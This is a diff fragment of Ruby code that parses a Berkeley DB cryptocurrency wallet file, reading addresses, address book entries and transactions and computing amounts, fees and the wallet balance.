+ @balance = 0
310
+
311
+ load_db(file)
312
+ rescue Exception => e
313
+ raise "Cannot load Wallet: #{e.message}"
314
+ end
315
+
316
+ def encrypted?
317
+ @encrypted
318
+ end
319
+
320
+ def keys(type = :public)
321
+ return @keys if type.eql? :all
322
+
323
+ @addressbook.select {|k| k[:local].eql? true}.collect {|x| x.reject {|v| v == :local}}
324
+ end
325
+
326
+ def addressbook(local = nil)
327
+ @addressbook.select {|k| k[:local].eql? local}.collect {|x| x.reject {|v| v == :local}}
328
+ end
329
+
330
+ def transactions
331
+ @transactions
332
+ end
333
+
334
+ def own?(key)
335
+ @keys.any? {|k| k[:address].eql? key}
336
+ end
337
+
338
+ def wallet_address?(address)
339
+ keys.map { |k| k[:address] }.include?(address)
340
+ end
341
+
342
+ private
343
+
344
+ def kind_to_value(kind)
345
+ case kind
346
+ when :bitcoin
347
+ 0
348
+ when :litecoin
349
+ 48
350
+ when :feathercoin
351
+ 14
352
+ when :darkcoin
353
+ 111
354
+ when :namecoin
355
+ 52
356
+ end
357
+ end
358
+
359
+ def load_db(file)
360
+ env = SBDB::Env.new '.', SBDB::CREATE | SBDB::Env::INIT_TRANSACTION
361
+ db = env.btree file, 'main', :flags => SBDB::RDONLY
362
+ @count = db.count
363
+
364
+ load_entries(db)
365
+
366
+ db.close
367
+ env.close
368
+
369
+ # remove temporary env files
370
+ 9.times {|i| FileUtils.rm_rf "__db.00#{i}" }
371
+ end
372
+
373
+ def load_entries(db)
374
+ db.each do |k,v|
375
+ tuple = parse_key_value(k, v)
376
+ next unless tuple
377
+
378
+ @kinds << tuple[:type]
379
+
380
+ case tuple[:type]
381
+ when :version
382
+ @version = tuple[:dump][:version]
383
+ when :defaultkey
384
+ @default_key = tuple[:dump]
385
+ when :key, :wkey, :ckey
386
+ @keys << tuple[:dump]
387
+ @encrypted = true if tuple[:type].eql? :ckey
388
+ when :name
389
+ tuple[:dump][:local] = true if @keys.any? {|k| k[:address].eql? tuple[:dump][:address] }
390
+ @addressbook << tuple[:dump]
391
+ when :tx
392
+ @transactions << tuple[:dump]
393
+ end
394
+ end
395
+
396
+ # we have finished parsing the whole wallet
397
+ # we have all the addresses, we can now fill the :own properties in the out transactions
398
+ # thus we can calculate the real amount of the transaction (out - change + fee)
399
+ recalculate_tx
400
+ end
401
+
402
+ def parse_key_value(key, value)
403
+
404
+ kds = BCDataStream.new(key)
405
+ vds = BCDataStream.new(value)
406
+ type = kds.read_string
407
+
408
+ hash = {}
409
+ case type
410
+ when 'version'
411
+ hash[:version] = vds.read_uint32
412
+ when 'name'
413
+ hash[:address] = kds.read_string
414
+ hash[:name] = vds.read_string
415
+ when 'defaultkey'
416
+ key = vds.read_bytes(vds.read_compact_size)
417
+ #hash[:key] = key
418
+ hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
419
+ when 'key'
420
+ key = kds.read_bytes(kds.read_compact_size)
421
+ #hash[:key] = key
422
+ hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
423
+ #hash['privkey'] = vds.read_bytes(vds.read_compact_size)
424
+ when "wkey"
425
+ key = kds.read_bytes(kds.read_compact_size)
426
+ #hash[:key] = key
427
+ hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
428
+ #d['private_key'] = vds.read_bytes(vds.read_compact_size)
429
+ #d['created'] = vds.read_int64
430
+ #d['expires'] = vds.read_int64
431
+ #d['comment'] = vds.read_string
432
+ when "ckey"
433
+ key = kds.read_bytes(kds.read_compact_size)
434
+ #hash[:key] = key
435
+ hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
436
+ #hash['crypted_key'] = vds.read_bytes(vds.read_compact_size)
437
+ when 'tx'
438
+ hash.merge! parse_tx(kds, vds)
439
+ end
440
+
441
+ return {type: type.to_sym, dump: hash}
442
+ end
443
+
444
+ def parse_tx(kds, vds)
445
+ hash = {}
446
+ id = kds.read_bytes(32)
447
+
448
+ ctx = CoinTransaction.new(id, vds, self.seed)
449
+
450
+ hash[:id] = ctx.id
451
+ hash[:from] = ctx.from
452
+ hash[:to] = ctx.to
453
+ hash[:amount] = ctx.amount
454
+ hash[:time] = ctx.time
455
+ hash[:versus] = ctx.versus
456
+ hash[:in] = ctx.in
457
+ hash[:out] = ctx.out
458
+
459
+ return hash
460
+ end
461
+
462
+ def recalculate_tx
463
+ @transactions.each do |tx|
464
+ # fill in the :own properties which indicate the amount is for an address inside the wallet
465
+ tx[:out].each { |t| t[:own] = own?(t[:address]) }
466
+ # fix the "fromMe" that is incorrect if the wallet was rebuilt with -rescan
467
+ tx[:versus] = (tx[:out].find { |t| t[:own] and wallet_address?(t[:address]) }) ? :in : :out
468
+ end
469
+
470
+ @transactions.each do |tx|
471
+ tx[:from] = Set.new
472
+
473
+ # calculate the amounts based on the direction (incoming tx)
474
+ if tx[:versus].eql? :in
475
+ tx[:amount] = tx[:out].select {|x| x[:own]}.first[:value]
476
+ tx[:to] = tx[:out].select {|x| x[:own]}.first[:address]
477
+
478
+ # if the source is an hash of all zeroes, it was mined directly
479
+ if tx[:in].size.eql? 1 and tx[:in].first[:prevout_hash].eql? "0"*64
480
+ tx[:from] << "MINED BLOCK"
481
+ end
482
+
483
+ # TODO: calculate the source from the past tx
484
+ #tx[:from] = ???
485
+
486
+ @balance += tx[:amount]
487
+ end
488
+
489
+ # calculate the amounts based on the direction (outgoing tx)
490
+ if tx[:versus].eql? :out
491
+ tx[:amount] = tx[:out].select {|x| not x[:own]}.first[:value]
492
+ tx[:to] = tx[:out].select {|x| not x[:own]}.first[:address]
493
+
494
+ # TODO: Remove once multiple addresses will be supported.
495
+ # Force the first element of the "from" array to the first public wallet address.
496
+ tx[:from] << keys[0][:address]
497
+
498
+ # calculate the fee based on the in and out tx
499
+ if tx[:in].size > 0
500
+ tx[:in].each do |txin|
501
+ @transactions.each do |prev_tx|
502
+ if prev_tx[:id] == txin[:prevout_hash]
503
+ txin.merge!(prev_tx[:out][txin[:prevout_index]])
504
+ tx[:from] << prev_tx[:out][txin[:prevout_index]][:address]
505
+ end
506
+ end
507
+ end
508
+ amount_in = tx[:in].inject(0) {|tot, y| tot += y[:value]}
509
+ amount_out = tx[:out].inject(0) {|tot, y| tot += y[:value]}
510
+ tx[:fee] = (amount_in - amount_out).round(8)
511
+ end
512
+
513
+ @balance -= (tx[:amount] + tx[:fee])
514
+ end
515
+
516
+ # return an array instead of set
517
+ tx[:from] = tx[:from].to_a
518
+ end
519
+
520
+ @balance = @balance.round(8)
521
+ end
522
+
523
+ end
524
+
525
+ class CoinTransaction
526
+
527
+ attr_reader :id, :from, :to, :amount, :time, :versus, :in, :out
528
+
529
+ def initialize(id, vds, seed)
530
+ @id = id.reverse.unpack("H*").first
531
+ @seed = seed
532
+ @in = []
533
+ @out = []
534
+
535
+ tx = parse_tx(vds)
536
+
537
+ calculate_tx(tx)
538
+
539
+ rescue Exception => e
540
+ raise "Cannot parse Transaction: #{e.message}"
541
+ end
542
+
543
+ def calculate_tx(tx)
544
+ tx['txIn'].each do |t|
545
+ itx = {}
546
+ # search in the previous hash repo
547
+ itx[:prevout_hash] = t['prevout_hash'].reverse.unpack('H*').first
548
+ itx[:prevout_index] = t['prevout_n']
549
+ @in << itx
550
+ end
551
+
552
+ tx['txOut'].each do |t|
553
+ next unless t['value']
554
+ value = t['value']/1.0e8
555
+
556
+ address = extract_pubkey(t['scriptPubKey'])
557
+ @out << {value: value, address: address} if address
558
+ end
559
+
560
+ @time = tx['timeReceived']
561
+ @versus = (tx['fromMe'] == true) ? :out : :in
562
+ end
563
+
564
+ def parse_tx(vds)
565
+ h = parse_merkle_tx(vds)
566
+ n_vtxPrev = vds.read_compact_size
567
+ h['vtxPrev'] = []
568
+ (1..n_vtxPrev).each { h['vtxPrev'] << parse_merkle_tx(vds) }
569
+
570
+ h['mapValue'] = {}
571
+ n_mapValue = vds.read_compact_size
572
+ (1..n_mapValue).each do
573
+ key = vds.read_string
574
+ value = vds.read_string
575
+ h['mapValue'][key] = value
576
+ end
577
+
578
+ n_orderForm = vds.read_compact_size
579
+ h['orderForm'] = []
580
+ (1..n_orderForm).each do
581
+ first = vds.read_string
582
+ second = vds.read_string
583
+ h['orderForm'] << [first, second]
584
+ end
585
+
586
+ h['fTimeReceivedIsTxTime'] = vds.read_uint32
587
+ h['timeReceived'] = vds.read_uint32
588
+ h['fromMe'] = vds.read_boolean
589
+ h['spent'] = vds.read_boolean
590
+
591
+ return h
592
+ end
593
+
594
+ def parse_merkle_tx(vds)
595
+ h = parse_transaction(vds)
596
+ h['hashBlock'] = vds.read_bytes(32)
597
+ n_merkleBranch = vds.read_compact_size
598
+ h['merkleBranch'] = vds.read_bytes(32*n_merkleBranch)
599
+ h['nIndex'] = vds.read_int32
600
+ return h
601
+ end
602
+
603
+ def parse_transaction(vds)
604
+ h = {}
605
+ start_pos = vds.read_cursor
606
+ h['version'] = vds.read_int32
607
+
608
+ n_vin = vds.read_compact_size
609
+ h['txIn'] = []
610
+ (1..n_vin).each { h['txIn'] << parse_TxIn(vds) }
611
+
612
+ n_vout = vds.read_compact_size
613
+ h['txOut'] = []
614
+ (1..n_vout).each { h['txOut'] << parse_TxOut(vds) }
615
+
616
+ h['lockTime'] = vds.read_uint32
617
+ h['__data__'] = vds.buffer[start_pos..vds.read_cursor-1]
618
+ return h
619
+ end
620
+
621
+ def parse_TxIn(vds)
622
+ h = {}
623
+ h['prevout_hash'] = vds.read_bytes(32)
624
+ h['prevout_n'] = vds.read_uint32
625
+ h['scriptSig'] = vds.read_bytes(vds.read_compact_size)
626
+ h['sequence'] = vds.read_uint32
627
+ return h
628
+ end
629
+
630
+ def parse_TxOut(vds)
631
+ h = {}
632
+ h['value'] = vds.read_int64
633
+ h['scriptPubKey'] = vds.read_bytes(vds.read_compact_size)
634
+ return h
635
+ end
636
+
637
+ def extract_pubkey(bytes)
638
+ # here we should parse the OPCODES and check them, but we are lazy
639
+ # and we fake the full parsing... :)
640
+
641
+ address = nil
642
+
643
+ case bytes.bytesize
644
+ # TODO: implement other opcodes
645
+ when 132
646
+ # non-generated TxIn transactions push a signature
647
+ # (seventy-something bytes) and then their public key
648
+ # (33 or 65 bytes) onto the stack:
649
+ when 67
650
+ # The Genesis Block, self-payments, and pay-by-IP-address payments look like:
651
+ # 65 BYTES:... CHECKSIG
652
+ when 25
653
+ # Pay-by-Bitcoin-address TxOuts look like:
654
+ # DUP HASH160 20 BYTES:... EQUALVERIFY CHECKSIG
655
+ # [ OP_DUP, OP_HASH160, OP_PUSHDATA4, OP_EQUALVERIFY, OP_CHECKSIG ]
656
+ op_prefix = bytes[0..2]
657
+ op_suffix = bytes[-2..-1]
658
+
659
+ if op_prefix.eql? "\x76\xa9\x14".force_encoding('ASCII-8BIT') and
660
+ op_suffix.eql? "\x88\xac".force_encoding('ASCII-8BIT')
661
+ address = B58Encode.hash_160_to_bc_address(bytes[3..-3], @seed)
662
+ end
663
+ when 23
664
+ # BIP16 TxOuts look like:
665
+ # HASH160 20 BYTES:... EQUAL
666
+ end
667
+
668
+ return address
669
+ rescue
670
+ end
671
+
672
+ end
673
+
674
+
675
+
676
+ end # ::RCS